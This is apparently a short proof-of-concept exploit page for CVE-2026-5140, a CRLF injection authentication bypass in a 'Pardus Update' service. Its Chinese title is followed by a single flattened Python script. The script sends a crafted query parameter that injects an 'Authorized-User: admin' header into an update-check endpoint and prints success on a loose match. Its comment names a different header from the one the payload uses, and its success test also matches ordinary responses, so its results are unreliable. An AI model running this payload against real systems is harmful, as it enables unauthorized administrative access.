CVE-2026-5140 Pardus Update CRLF注入致认证绕过漏洞

import requests # Target URL of the vulnerable Pardus Update service target_url = "http://vulnerable-pardus-update.example.com/api/check_update" # CRLF payload attempting to inject a fake authentication header # This simulates bypassing an authentication check by injecting an 'Authorized: true' header payload = "version=1.0\r\nAuthorized-User: admin\r\n" headers = { "User-Agent": "CVE-2026-5140-Scanner" } try: # Sending the malicious payload response = requests.get(target_url, params={"data": payload}, headers=headers) # Check if the response indicates successful authentication or admin access if response.status_code == 200 and ("admin" in response.text or "update_available" in response.text): print("[+] Potential Authentication Bypass Successful!") print("[+] Response Body:", response.text[:200]) else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"[!] Error occurred: {e}")